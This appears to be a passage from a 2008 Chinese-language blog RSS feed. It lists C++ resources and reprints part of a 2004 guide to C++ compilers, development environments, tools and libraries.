/>&nbsp; &nbsp; <br />&nbsp; &nbsp; </span><span class="typ">Boost</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> asio<br />&nbsp; &nbsp; http</span><span class="pun">:</span><span class="com">//asio.sourceforge.net</span><span class="pln"><br />&nbsp; &nbsp; </span><span class="pun">跨平台的异步网络编程库，必须有</span><span class="pln">boost</span><span class="pun">的支持</span><span class="pln"><br />&nbsp; &nbsp; <br />&nbsp; &nbsp; </span><span class="typ">Boost</span><span class="pln"> C</span><span class="pun">++</span><span class="pln"> </span><span class="typ">Libraries</span><span class="pln"><br />&nbsp; &nbsp; http</span><span class="pun">:</span><span class="com">//www.boost.org</span><span class="pln"><br />&nbsp; &nbsp; </span><span class="pun">这还用说吗？</span><span class="pln"><br />&nbsp; &nbsp; <br />&nbsp; &nbsp; </span><span class="typ">CodeProject</span><span class="pun">-</span><span class="pln"> </span><span class="typ">Visual</span><span class="pln"> </span><span class="typ">Leak</span><span class="pln"> </span><span class="typ">Detector</span><span class="pln"><br />&nbsp; &nbsp; http</span><span class="pun">:</span><span class="com">//www.codeproject.com/KB/applications/visualleakdetector.aspx</span><span class="pln"><br />&nbsp; &nbsp; VC</span><span class="pun">下的侦测内存泄漏工具，能追踪到文件名，行号和调用堆栈。推荐</span><span class="pln"><br />&nbsp; &nbsp; <br />&nbsp; &nbsp; </span><span class="typ">CodeProject</span><span class="pun">-</span><span class="pln"> </span><span class="typ">Walking</span><span class="pln"> the callstack<br />&nbsp; &nbsp; http</span><span class="pun">:</span><span class="com">//www.codeproject.com/KB/threads/StackWalker.aspx</span><span class="pln"><br />&nbsp; &nbsp; VC</span><span class="pun">下打印调用堆栈的小程序</span><span class="pln"><br />&nbsp; &nbsp; <br />&nbsp; &nbsp; DEELX </span><span class="pun">-</span><span class="pln"> </span><span class="typ">Regexp</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="pun">正则表达式引擎</span><span class="pln"><br />&nbsp; &nbsp; http</span><span class="pun">:</span><span class="com">//www.regexlab.com/zh/deelx</span><span class="pln"><br />&nbsp; &nbsp; </span><span class="pun">整个库只有一个文件，用模版实现，方便，灵活</span><span class="pln"><br />&nbsp; &nbsp; <br />&nbsp; &nbsp; </span><span class="typ">Dinkumware</span><span class="pun">,</span><span class="pln"> </span><span class="typ">Ltd</span><span class="pun">.</span><span class="pln"><br />&nbsp; &nbsp; http</span><span class="pun">:</span><span class="com">//www.dinkumware.com</span><span class="pln"><br />&nbsp; &nbsp; </span><span class="pun">微软的</span><span class="pln">STL</span><span class="pun">供货商，收费</span><span class="pln"><br />&nbsp; &nbsp; <br />&nbsp; &nbsp; </span><span class="typ">SQLite</span><span class="pln"> </span><span class="typ">Home</span><span class="pln"> </span><span class="typ">Page</span><span class="pln"><br />&nbsp; &nbsp; http</span><span class="pun">:</span><span class="com">//www.sqlite.org</span><span class="pln"><br />&nbsp; &nbsp; </span><span class="pun">轻型数据库</span><span class="pln"><br />&nbsp; &nbsp; <br />&nbsp; &nbsp; </span><span class="typ">Standard</span><span class="pln"> </span><span class="typ">Template</span><span class="pln"> </span><span class="typ">Library</span><span class="pln"> </span><span class="typ">Programmer</span><span class="str">'s Guide<br />&nbsp; &nbsp; http://www.sgi.com/tech/stl<br />&nbsp; &nbsp; 大名鼎鼎的SGI-STL<br />&nbsp; &nbsp; <br />&nbsp; &nbsp; StdExt - C++ STL Extensions- STL扩展库<br />&nbsp; &nbsp; http://cpp.winxgui.com/cn:stdext<br />&nbsp; &nbsp; 给我印象最深的就是一个GC组件<br />&nbsp; &nbsp; <br />&nbsp; &nbsp; STLport<br />&nbsp; &nbsp; http://www.stlport.org<br />&nbsp; &nbsp; 现代C++编译器都有STL，它的存在还有意义吗？<br />&nbsp; &nbsp; <br />&nbsp; &nbsp; STLSoft - Robust, Lightweight, Cross-platform, Template Software<br />&nbsp; &nbsp; http://www.synesis.com.au/software/stlsoft<br />&nbsp; &nbsp; <br />&nbsp; &nbsp; TinyXml Main Page<br />&nbsp; &nbsp; http://www.grinninglizard.com/tinyxml<br />&nbsp; &nbsp; 小型XML库，6个文件直接包含到工程就可以了，文档齐全<br />&nbsp; &nbsp; <br />&nbsp; &nbsp; wxWidgets<br />&nbsp; &nbsp; http://www.wxwidgets.org<br />&nbsp; &nbsp; 非常强大的跨平台界面库，推荐<br />&nbsp; &nbsp; <br />&nbsp; &nbsp; zlib<br />&nbsp; &nbsp; http://www.zlib.net<br />&nbsp; &nbsp; 是最最最最最最流行的C库，没有几个大型工程不使用它<br />&nbsp; &nbsp; <br />&nbsp; &nbsp; <br />BBS:<br />&nbsp; &nbsp; comp.lang.c++ - Google 网上论坛<br />&nbsp; &nbsp; http://groups.google.com/group/comp.lang.c++/topics?lnk=gschg<br />&nbsp; &nbsp; <br />&nbsp; &nbsp; comp.lang.c++.moderated - Google 网上论坛<br />&nbsp; &nbsp; http://groups.google.com/group/comp.lang.c++.moderated/topics?lnk=gschg<br />&nbsp; &nbsp; 带主持人的BBS，帖子需要通过验证，所以垃圾帖，水贴较少，论坛水平高。推荐<br /><br />&nbsp; &nbsp; Guru of the Week<br />&nbsp; &nbsp; http://www.gotw.ca/gotw<br />&nbsp; &nbsp; 已经很久没有更新了<br />&nbsp; &nbsp; <br /><br />Miscellaneous:<br />&nbsp; &nbsp; Working Draft, Standard for Programming Language C++<br />&nbsp; &nbsp; http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2007/n2461.pdf<br />&nbsp; &nbsp; C++ 2007年出的标准草案，估计C++09就和这个差不多了<br /><br />&nbsp; &nbsp; C++ Library Extensions TR1 - draft <br />&nbsp; &nbsp; http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2005/n1836.pdf<br />&nbsp; &nbsp; <br />标准库的扩展草案，这个文档只包含比C++03多出来的部分<br /><br />&nbsp; &nbsp; Andrei Alexandrescu<br />&nbsp; &nbsp; http://erdani.org<br />&nbsp; &nbsp; <br />&nbsp; &nbsp; Bjarne Stroustrup<br />&nbsp; &nbsp; http://www.research.att.com/~bs/homepage.html<br />&nbsp; &nbsp; <br />&nbsp; &nbsp; Dependency Walker (depends.exe) Home Page<br />&nbsp; &nbsp; http://www.dependencywalker.com<br />&nbsp; &nbsp; Win32平台下，察看文件依赖性的工具，对于项目发布时是必不可少的。<br />&nbsp; &nbsp; <br />&nbsp; &nbsp; Doxygen<br />&nbsp; &nbsp; http://www.stack.nl/~dimitri/doxygen<br />&nbsp; &nbsp; 只要按照他的规范写注释，就可以自动生成文档<br />&nbsp; &nbsp; <br />&nbsp; &nbsp; GNU make中文手册<br />&nbsp; &nbsp; <br />http://www.linuxsir.org/main/doc/gnumake/GNUmake_v3.80-zh_CN_html/index.html<br />&nbsp; &nbsp; <br />&nbsp; &nbsp; The C++ Source<br />&nbsp; &nbsp; http://www.artima.com/cppsource<br />&nbsp; &nbsp; <br />&nbsp; &nbsp; The C++ Standards Committee<br />&nbsp; &nbsp; http://www.open-std.org/JTC1/SC22/WG21<br />&nbsp; &nbsp; <br />&nbsp; &nbsp; WinMerge<br />&nbsp; &nbsp; http://winmerge.org<br />&nbsp; &nbsp; <br />&nbsp; &nbsp; 侯捷<br />&nbsp; &nbsp; http://jjhou.csdn.net<br />&nbsp; &nbsp; <br />&nbsp; &nbsp; 刘未鹏<br />&nbsp; &nbsp; http://blog.csdn.net/pongba</span>
]]>
</description>
</item><item>
<link>http://www.mefree.org/post/6/</link>
<title><![CDATA[C++资源汇总]]></title> 
<author>static &lt;nicenight@qq.com&gt;</author>
<category><![CDATA[c++]]></category>
<pubDate>Thu, 24 Jul 2008 02:52:42 +0000</pubDate> 
<guid>http://www.mefree.org/post/6/</guid> 
<description>
<![CDATA[ 
	<div id="C" class="prettyprint"><span class="pun">.本文</span><span class="lit">2004</span><span class="pun">年</span><span class="lit">5</span><span class="pun">月首发于《</span><span class="pln">CSDN</span><span class="pun">开发高手》，版权归该杂志与《程序员》杂志社所有。杂志限于篇幅部分内容有所删节，此处版本为相对完整版本。</span><span class="pln"><br /><br /></span><span class="pun">.本文为介绍性文章，会随笔者学习</span><span class="pln">C</span><span class="pun">++语言不断更新。</span><span class="pln"><br /><br /></span><span class="pun">前言</span><span class="pln"><br /><br /></span><span class="pun">无数次听到&ldquo;我要开始学习</span><span class="pln">C</span><span class="pun">++!&rdquo;的呐喊，无数次听到&ldquo;</span><span class="pln">C</span><span class="pun">++太复杂了，我真的学不会&rdquo;的无奈。</span><span class="typ">Stan</span><span class="pln"> </span><span class="typ">Lippman</span><span class="pun">先生曾在《</span><span class="pln">C</span><span class="pun">++</span><span class="pln"> </span><span class="typ">Primer</span><span class="pun">》一书中指出&ldquo;</span><span class="pln">C</span><span class="pun">++是最为难学的高级程序设计语言之一&rdquo;，人们常将&ldquo;之一&rdquo;去掉以表达自己对</span><span class="pln">C</span><span class="pun">++的敬畏。诚然，</span><span class="pln">C</span><span class="pun">++程序设计语言对于学习者的确有很多难以逾越的鸿沟，体系结构的庞大，应接不暇并不断扩充的特性&hellip;&hellip;除此之外，参考资料之多与冗杂使它的学习者望而却步，欲求深入者苦不堪言。希望这一份不完全导引能够成为您</span><span class="pln">C</span><span class="pun">++学习之路上的引路灯。</span><span class="pln"><br /><br /></span><span class="pun">撰写本文的初衷并不打算带领大家体验古老的</span><span class="pln">C</span><span class="pun">++历史，如果你想了解</span><span class="pln">C</span><span class="pun">++的历史与其前期发展中诸多技术的演变，你应当去参考</span><span class="typ">Bjarne</span><span class="pun">的《</span><span class="typ">The</span><span class="pln"> </span><span class="typ">Design</span><span class="pln"> </span><span class="kwd">and</span><span class="pln"> </span><span class="typ">Evolution</span><span class="pln"> of C</span><span class="pun">++》。当然也不打算给大家一个无所不包的宝典（并非不想：其一是因水平有限，其二无奈</span><span class="pln">C</span><span class="pun">++之博大精深），所给出的仅仅是一些我们认为对于想学习</span><span class="pln">C</span><span class="pun">++的广大读者来说最重要并且触手可及的开发与学习资源。</span><span class="pln"><br /><br /></span><span class="pun">本文介绍并分析了一些编译器，开发环境，库，少量的书籍以及参考网站，并且尽可能尝试着给出一个利用这些资源的导引，望对如同我们一样的初学者能够有所裨益。</span><span class="pln"><br /><br /></span><span class="pun">编译器</span><span class="pln"><br /><br /></span><span class="pun">在</span><span class="pln">C</span><span class="pun">++之外的任何语言中，编译器都从来没有受到过如此之重视。因为</span><span class="pln">C</span><span class="pun">++是一门相当复杂的语言，所以编译器也难于构建。直到最近我们才开始能够使用上完全符合</span><span class="pln">C</span><span class="pun">++标准的编译器（哦，你可能会责怪那些编译器厂商不能尽早的提供符合标准的编译器，这只能怪他们各自维系着自身的一套别人不愿接受的标准）。什么？你说这无关紧要？哦，不，你所需要的是和标准化</span><span class="pln">C</span><span class="pun">++高度兼容的编译环境。长远来看，只有这样的编译器对</span><span class="pln">C</span><span class="pun">++开发人员来说才是最有意义的工具，尤其是对于程序设计语言的学习者。一至性让代码具备可移植性，并让一门语言及其库的应用更为广泛。嗯，是的，我们这里只打算介绍一些公认的优秀编译器。</span><span class="pln"><br /><br /></span><span class="typ">Borland</span><span class="pln"> C</span><span class="pun">++</span><span class="pln"><br /><br /></span><span class="pun">这个是</span><span class="typ">Borland</span><span class="pln"> C</span><span class="pun">++</span><span class="pln"> </span><span class="typ">Builder</span><span class="pun">和</span><span class="typ">Borland</span><span class="pln"> C</span><span class="pun">++</span><span class="pln"> </span><span class="typ">Builder</span><span class="pln"> X</span><span class="pun">这两种开发环境的后台编译器。（哦，我之所以将之分为两种开发环境你应当能明白为什么，正如</span><span class="typ">Delphi7</span><span class="pun">到</span><span class="typ">Delphi8</span><span class="pun">的转变，是革命性的两代。）</span><span class="typ">Borland</span><span class="pln"> C</span><span class="pun">++由老牌开发工具厂商</span><span class="typ">Borland</span><span class="pun">倾力打造。该公司的编译器素以速度快，空间效率高著称，</span><span class="typ">Borland</span><span class="pln"> C</span><span class="pun">++</span><span class="pln"> </span><span class="pun">系列编译器秉承了这个传统，属于非常优质的编译器。标准化方面早在</span><span class="lit">5</span><span class="pun">.</span><span class="lit">5</span><span class="pun">版本的编译器中对标准化</span><span class="pln">C</span><span class="pun">++的兼容就达到了</span><span class="lit">92</span><span class="pun">.</span><span class="lit">73</span><span class="pun">%。目前最新版本是</span><span class="typ">Borland</span><span class="pln"> C</span><span class="pun">++</span><span class="pln"> </span><span class="typ">Builder</span><span class="pln"> X</span><span class="pun">中的</span><span class="lit">6</span><span class="pun">.</span><span class="lit">0</span><span class="pun">版本，官方称</span><span class="lit">100</span><span class="pun">%符合</span><span class="pln">ANSI</span><span class="pun">/</span><span class="pln">ISO</span><span class="pun">的</span><span class="pln">C</span><span class="pun">++标准以及</span><span class="pln">C99</span><span class="pun">标准。嗯&hellip;这正是我前面所指的&ldquo;完全符合</span><span class="pln">C</span><span class="pun">++标准的编译器&rdquo;。</span><span class="pln"><br /><br /></span><span class="typ">Visual</span><span class="pln"> C</span><span class="pun">++</span><span class="pln"><br /><br /></span><span class="pun">这个正是我们熟知的</span><span class="typ">Visual</span><span class="pln"> </span><span class="typ">Studio</span><span class="pln"> </span><span class="pun">和</span><span class="pln"> </span><span class="typ">Visual</span><span class="pln"> </span><span class="typ">Studio</span><span class="pun">.</span><span class="pln">net </span><span class="lit">2002</span><span class="pun">,</span><span class="pln"> </span><span class="lit">2003</span><span class="pun">以及</span><span class="lit">2005</span><span class="pln"> </span><span class="typ">Whidbey</span><span class="pun">中带的</span><span class="pln">C</span><span class="pun">++编译器。由</span><span class="typ">Microsoft</span><span class="pun">公司研制。在</span><span class="typ">Visual</span><span class="pln"> </span><span class="typ">Studio</span><span class="pln"> </span><span class="lit">6</span><span class="pun">.</span><span class="lit">0</span><span class="pun">中，因为编译器有太多地方不能与后来出现的</span><span class="pln">C</span><span class="pun">++标准相吻合而饱受批评（想想你在使用</span><span class="pln">STL</span><span class="pun">的时候编译时报出的那些令人厌恶的</span><span class="pln">error</span><span class="pun">和</span><span class="pln">warning</span><span class="pun">吧）。</span><span class="pln">VC</span><span class="pun">++</span><span class="lit">6</span><span class="pun">.</span><span class="lit">0</span><span class="pun">对标准化</span><span class="pln">C</span><span class="pun">++的兼容只有</span><span class="lit">83</span><span class="pun">.</span><span class="lit">43</span><span class="pun">%。但是随着</span><span class="pln">C</span><span class="pun">++编译器设计大师</span><span class="typ">Stanley</span><span class="pln"> </span><span class="typ">Lippman</span><span class="pun">以及诸多</span><span class="pln">C</span><span class="pun">++社群达人的加盟，在</span><span class="typ">Visual</span><span class="pln"> </span><span class="typ">Studio</span><span class="pun">.</span><span class="pln">NET </span><span class="lit">2003</span><span class="pun">中，</span><span class="typ">Visual</span><span class="pln"> C</span><span class="pun">++编译器已经成为一个非常成熟可靠的</span><span class="pln">C</span><span class="pun">++编译器了。</span><span class="typ">Dr</span><span class="pun">.</span><span class="typ">Dobb</span><span class="str">'s Journal的评测显示Visual C++7.1对标准C++的兼容性高达98.22%，一度成为CBX之前兼容性最好的编译器。结合强大的Visual Studio.NET开发环境，是一个非常不错的选择。至于Whidbey时代的Visual C++,似乎微软所最关注的是C++/CLI&hellip;&hellip;我们不想评论微软下一代的C++编译器对标准化兼容如何，但他确实越来越适合.NET (其实你和我的感觉可能是一样的，微软不应当把标准C++这块肥肉丢给Borland,然而微软可能并不这样认为)。<br /><br /><br />GNU C++<br /><br />著名的开源C++编译器。是类Unix操作系统下编写C++程序的首选。特点是有非常好的移植性，你可以在非常广泛的平台上使用它，同时也是编写跨平台，嵌入式程序很好的选择。另外在符合标准这个方面一直都非常好，GCC3.3大概能够达到96.15%。但是由于其跨平台的特性，在代码尺寸速度等优化上略微差一点。<br /><br />基于GNU C++的编译器有很多，比如：<br /><br />l &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Mingw：http://www.mingw.org/<br /><br />GCC的一个Windows的移植版本（Dev-C++的后台）<br /><br />l &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Cygwin：http://sources.redhat.com/cygwin/<br /><br />GCC的另外一个Windows移植版本是Cygwin的一部分，Cygwin是Windows下的一个Unix仿真环境。严格的说是模拟GNU的环境，这也就是&quot;Gnu'</span><span class="pln">s </span><span class="typ">Not</span><span class="pln"> </span><span class="typ">Unix</span><span class="str">&quot;要表达的意思，噢，扯远了，这并不是我们在这里关心的实质内容。 &nbsp;<br /><br />l &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Djgpp：http://www.delorie.com/djgpp/<br /><br />这是GCC的DOS移植版本。<br /><br />l &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;RSXNT：http://www.mathematik.uni-bielefeld.de/~rainer/<br /><br />这是GCC的DOS和Windows移植版本。<br /><br /><br />Intel C++<br /><br />著名CPU制造厂商Intel出品的编译器，Special Design for Intel x86！对于Intel x86结构的CPU经过特别的优化。在有些应用情况下，特别是数值计算等高性能应用，仅仅采用Intel的编译器编译就能大幅度的提高性能。<br /><br /><br />Digital Mars C++<br /><br />网络上提供免费下载，Zortech/Symantec C++的继承者，其前身在当年惨烈的C++四国战中也是主角之一。<br /><br /><br />开发环境<br /><br />开发环境对于程序员的作用不言而喻。选择自己朝夕相处的环境也不是容易的事情，特别是在IDE如此丰富的情况下。下面就是我们推荐的一些常见的C++开发环境，并没有包括一些小型的，罕见的IDE。其中任何一款都是功能丰富，可以用作日常开发使用的。对于不同层面的开发者，请参见内文关于适用对象的描述。<br /><br /><br />Visual Studio 6.0<br /><br />这个虽然是Microsoft公司的老版本的开发环境，但是鉴于其后继版本Visual Studio.NET的庞大身躯，以及初学者并不那么高的功能要求，所以推荐这个开发环境给C++的初学者，供其学习C++的最基本的部分，比如C的那部分子集，当然你别指望他能够支持最新的C99标准。在日常的开发中，仍然有很多公司使用这个经典稳定的环境，比如笔者就看曾亲见有些公司将其编译器替换为GCC做手机开发之用。<br /><br /><br />Visual Studio.NET 2003<br /><br />作为Microsoft公司官方正式发布的最新版本开发环境，其中有太多激动人心的功能。结合其最新的C++编译器。对于机器配置比较好的开发人员来说，使用这个开发环境将能满足其大部分的要求。这里不打算单独说Visual Studio Whidbey,虽然Visual Studio .NET 2005 - Whidbey社区预览版已经推出，但暂不是很稳定，读者可以亲身去体验。<br /><br />Borland C++ Builder 6<br /><br />这个并不是Borland的C++开发环境的最新版本。选择它的原因是它不是用Java写的IDE，速度比较快。它有一个很完善的GUI窗体设计器，和Delphi共用一个VCL。由于这些特点，比较适合初学者上手。但是由于其GUI的中心位置，可能不利于对于C++语言的学习。而且其为了支持VCL这个Object Pascal写的库也对C++进行了一些私有的扩充。使得人们有一个不得不接受的事实：&ldquo;Borland C++ Builder 6的高手几乎都是Delphi高手&rdquo;。<br /><br /><br />Borland C++ Builder X<br /><br />正如前文所述，虽然版本号上和前面那个IDE非常相象，但是其实它们是完全不同的两个集成开发环境。C++Builder更多的是一个和Delphi同步的C++版本的开发环境，C++BuilderX则是完全从C++的角度思考得出的一个功能丰富的IDE。其最大的特点是跨平台，跨编译器，多种Framework的集成，并且有一个WxWindows为基础的GUI设计器。尤其是采用了纯C++来重写了整个Framework,摒弃了以前令人无奈的版本。对于C++的开发来说，从编译器，到库，到功能集成都是非常理想的。可以预见，Borland C++ Builder X 2.0很值得C++爱好者期待。唯一令人难堪之处是作为一个C++的开发工具，其IDE是用Java写的，在配置不够理想的机器上请慎重考虑再安装。<br /><br /><br />Emacs + GCC<br /><br />前面讲的大部分是Windows环境下的集成开发环境。Linux上的开发者更倾向于使用Emacs来编辑C++的文件，用Makefile来命令GCC做编译。虽然看上去比较松散，但是这些东西综合起来还是一个开0发环境。如果你能够娴熟的使用这样的环境写程序，你的水平应该足够指导我们来写这篇陋文了。<br /><br /><br />Dev C++<br /><br />GCC是一个很好的编译器。在Windows上的C++编译器一直和标准有着一段距离的时候，GCC就是一个让Windows下开发者流口水的编译器。Dev-C++就是能够让GCC跑在Windows下的工具，作为集成开发环境，还提供了同专业IDE相媲美的语法高亮，代码提示，调试等功能。由于使用Delphi开发，占用内存少，速度很快，比较适合轻量级的学习和使用。<br /><br /><br />Eclipse + CDT<br /><br />Eclipse可是近来大名鼎鼎的开发工具。最新一期的Jolt大奖就颁给了这个杰出的神物。说其神奇是因为，它本身是用Java写的，但是拥有比一般Java写的程序快得多的速度。而且因为其基于插件组装一切的原则，使得能够有CDT这样的插件把Eclipse变成一个C/C++的开发环境。如果你一直用Eclipse写Java的程序，不妨用它体验一下C++开发的乐趣。<br /><br /><br />工具<br /><br />C++的辅助工具繁多，我们分门别类的为大家作介绍：<br /><br />文档类<br /><br />Doxygen<br /><br />参考站点：http://www.doxygen.org<br /><br />&nbsp; &nbsp; Doxygen是一种适合C风格语言（如C++、C、IDL、Java甚至包括C#和PHP）的、开放源码的、基于命令行的文档产生器。<br /><br />C++2HTML<br /><br />参考站点：http://www.bedaux.net/cpp2html/<br /><br />把C++代码变成语法高亮的HTML<br /><br />CodeColorizer<br /><br />参考站点：http://www.chami.com/colorizer/<br /><br />&nbsp; &nbsp; 它能把好几种语言的源代码着色为HTML<br /><br />Doc-O-Matic<br /><br />参考站点：http://www.doc-o-matic.com/<br /><br />Doc-O_Matic为你的C/C++，C++.net，Delphi/Pascal, VB.NET，C#和Java程序或者组件产生准确的文档。Doc-O-Matic使用源代码中的符号和注释以及外部的文档文件创建与流行的文档样式一致的文档。<br /><br />DocVizor<br /><br />参考站点：http://www.ucancode.net/Products/DocBuilder/Features.htm<br /><br />DocVizor满足了面向对象软件开发者的基本要求&mdash;&mdash;它让我们能够看到C++工程中的类层次结构。DocVizor快速地产生完整可供打印的类层次结构图，包括从第三方库中来的那些类，除此之外DocVizor还能从类信息中产生HTML文件。<br /><br />SourcePublisher C++<br /><br />参考站点：http://www.scitools.com/sourcepublisher_c.html<br /><br />给源代码产生提供快速直观的HTML报表，包括代码，类层次结构，调用和被调用树，包含和被包含树。支持多种操作系统。<br /><br />Understand<br /><br />参考站点：http://www.scitools.com/ucpp.html<br /><br />分析任何规模的C或者C++工程，帮助我们更好的理解以及编写文档。<br /><br />代码类<br /><br />CC-Rider<br /><br />参考站点：http://www.cc-rider.com<br /><br />CC-Rider是用于C/C++程序强大的代码可视化工具，通过交互式浏览、编辑及自动文件来促进程序的维持和发展。<br /><br />CodeInspect<br /><br />参考站点：http://www.yokasoft.com/<br /><br />一种新的C/C++代码分析工具。它检查我们的源代码找出非标准的，可能的，以及普通的错误代码。<br /><br />CodeWizard<br /><br />参考站点：http://www.parasoft.com<br /><br />先进的C/C++源代码分析工具，使用超过500个编码规范自动化地标明危险的，但是编译器不能检查到的代码结构。<br /><br />C++ Validation Test Suites<br /><br />参考站点：http://www.plumhall.com/suites.html<br /><br />一组用于测试编译器和库对于标准吻合程度的代码库。<br /><br />CppRefactory<br /><br />参考站点：http://cpptool.sourceforge.net/<br /><br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;CPPRefactory是一个使得开发者能够重构他们的C++代码的程序。目的是使得C++代码的重构能够尽可能的有效率和简单。<br /><br />Lzz<br /><br />参考站点：http://www.lazycplusplus.com/<br /><br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Lzz是一个自动化许多C++编程中的体力活的工具。它能够节省我们许多事件并且使得编码更加有乐趣。给出一系列的声明，Lzz会给我们创建头文件和源文件。<br /><br />QA C++ Generation 2000<br /><br />参考站点：http://www.programmingresearch.com/solutions/qacpp.htm<br /><br />它关注面向对象的C++源代码，对有关于设计，效率，可靠性，可维护性的部分提出警告信息。<br /><br />s-mail project - Java to C++DOL<br /><br />参考站点：http://sadlocha.strefa.pl/s-mail/ja2dol.html<br /><br />把Java源代码翻译为相应的C++源代码的命令行工具。<br /><br />SNIP from Cleanscape Software International<br /><br />参考站点：http://www.cleanscape.net/stdprod/snip/index.html<br /><br />一个填平编码和设计之间沟壑的易于使用的C++开发工具，节省大量编辑和调试的事件，它还使得开发者能够指定设计模式作为对象模型，自动从对象模型中产生C++的类。<br /><br />SourceStyler C++<br /><br />参考站点：http://www.ochresoftware.com/<br /><br />对C/C++源代码提供完整的格式化和排版控制的工具。提供多于75个的格式化选项以及完全支持ANSI C++。<br /><br /><br />编译类<br /><br />Compilercache<br /><br />参考站点：http://www.erikyyy.de/compilercache/<br /><br />Compilercache是一个对你的C和C++编译器的封装脚本。每次我们进行编译，封装脚本，把编译的结果放入缓存，一旦编译相同的东西，结果将从缓存中取出而不是再次编译。<br /><br />Ccache<br /><br />参考站点：http://ccache.samba.org/<br /><br />Ccache是一个编译器缓存。它使用起来就像C/C++编译器的缓存预处理器，编译速度通常能提高普通编译过程的5~10倍。<br /><br />Cmm (C++ with MultiMethods)<br /><br />参考站点：http://www.op59.net/cmm/cmm-0.28/users.html<br /><br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;这是一种C++语言的扩展。读入Cmm源代码输出C++的源代码，功能是对C++语言添加了对multimethod的支持。<br /><br />The Frost Project<br /><br />参考站点：http://frost.flewid.de/<br /><br />Forst使得你能够在C++程序中像原生的C++特性一样使用multimethod以及虚函数参数。它是一个编译器的外壳。<br /><br /><br />测试和调试类<br /><br />CPPUnit<br /><br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;CppUnit 是个基于 LGPL 的开源项目，最初版本移植自 JUnit，是一个非常优秀的开源测试框架。CppUnit 和 JUnit 一样主要思想来源于极限编程。主要功能就是对单元测试进行管理，并可进行自动化测试。<br /><br />C++Test<br /><br />参考站点：http://www.parasoft.com/<br /><br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;C++ Test是一个单元测试工具，它自动化了C和C++类，函数或者组件的测试。<br /><br />Cantata++<br /><br />参考站点：http://www.iplbath.com/products/tools/pt400.shtml<br /><br />设计的目的是为了满足在合理的经济开销下使用这个工具可以让开发工程师开展单元测试和集成测试的需求.<br /><br />Purify<br /><br />参考站点：http://www-900.ibm.com/cn/software/rational/products/purifyplus/index.shtml<br /><br />IBM Rational PurifyPlus是一套完整的运行时分析工具，旨在提高应用程序的可靠性和性能。PurifyPlus将内存错误和泄漏检测、应用程序性能描述、代码覆盖分析等功能组合在一个单一、完整的工具包中。<br /><br />BoundsChecker<br /><br />BoundsChecker是一个C++运行时错误检测和调试工具。它通过在Visual Studio内自动化调试过程加速开发并且缩短上市的周期。BoundsChecker提供清楚，详细的程序错误分析，许多是对C++独有的并且在static，stack和heap内存中检测和诊断错误，以及发现内存和资源的泄漏。<br /><br />Insure++<br /><br />参考站点：http://www.parasoft.com/<br /><br />一个自动化的运行时程序测试工具，检查难以察觉的错误,如内存覆盖，内存泄漏，内存分配错误，变量初始化错误，变量定义冲突，指针错误，库错误，逻辑错误和算法错误等。<br /><br />GlowCode<br /><br />参考站点：http://www.glowcode.com/<br /><br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;GlowCode包括内存泄漏检查，code profiler，函数调用跟踪等功能。给C++开发者提供完整的错误诊断，和运行时性能分析工具包。<br /><br />Stack Spy<br /><br />参考站点：http://www.imperioustech.com/<br /><br />它能捕捉stack corruption, stack over run, stack overflow等有关栈的错误。<br /><br /><br />库<br /><br />在C++中，库的地位是非常高的。C++之父 Bjarne Stroustrup先生多次表示了设计库来扩充功能要好过设计更多的语法的言论。现实中，C++的库门类繁多，解决的问题也是极其广泛，库从轻量级到重量级的都有。不少都是让人眼界大开，亦或是望而生叹的思维杰作。由于库的数量非常庞大，而且限于笔者水平，其中很多并不了解。所以文中所提的一些库都是比较著名的大型库。<br /><br />标准库<br /><br />标准库中提供了C++程序的基本设施。虽然C++标准库随着C++标准折腾了许多年，直到标准的出台才正式定型，但是在标准库的实现上却很令人欣慰得看到多种实现，并且已被实践证明为有工业级别强度的佳作。<br /><br />1、 &nbsp; Dinkumware C++ Library<br /><br />参考站点：http://www.dinkumware.com/<br /><br />P.J. Plauger编写的高品质的标准库。P.J. Plauger博士是Dr. Dobb's程序设计杰出奖的获得者。其编写的库长期被Microsoft采用，并且最近Borland也取得了其OEM的license，在其C/C++的产品中采用Dinkumware的库。<br /><br />2、 &nbsp; RogueWave Standard C++ Library<br /><br />参考站点：http://www.roguewave.com/<br /><br />这个库在Borland C++ Builder的早期版本中曾经被采用，后来被其他的库给替换了。笔者不推荐使用。<br /><br />3、SGI STL<br /><br />参考站点：http://www.roguewave.com/<br /><br />SGI公司的C++标准模版库。<br /><br />4、STLport<br /><br />参考站点：http://www.stlport.org/<br /><br />SGI STL库的跨平台可移植版本。<br /><br /><br />准标准库&mdash;&mdash;Boost<br /><br />Boost库是一个经过千锤百炼、可移植、提供源代码的C++库，作为标准库的后备，是C++标准化进程的发动机之一。 Boost库由C++标准委员会库工作组成员发起，在C++社区中影响甚大，其成员已近2000人。 Boost库为我们带来了最新、最酷、最实用的技术，是不折不扣的&ldquo;准&rdquo;标准库。<br /><br />Boost中比较有名气的有这么几个库：<br /><br />Regex<br />正则表达式库<br /><br />Spirit<br />LL parser framework，用C++代码直接表达EBNF<br /><br />Graph<br />图组件和算法<br /><br />Lambda<br />在调用的地方定义短小匿名的函数对象，很实用的functional功能<br /><br />concept check<br />检查泛型编程中的concept<br /><br />Mpl<br />用模板实现的元编程框架<br /><br />Thread<br />可移植的C++多线程库<br /><br />Python<br />把C++类和函数映射到Python之中<br /><br />Pool<br />内存池管理<br /><br />smart_ptr<br />5个智能指针，学习智能指针必读，一份不错的参考是来自CUJ的文章：<br /><br />Smart Pointers in Boost,哦，这篇文章可以查到，CUJ是提供在线浏览的。中文版见笔者在《Dr. Dobb's Journal软件研发杂志》第7辑上的译文。<br /><br /><br 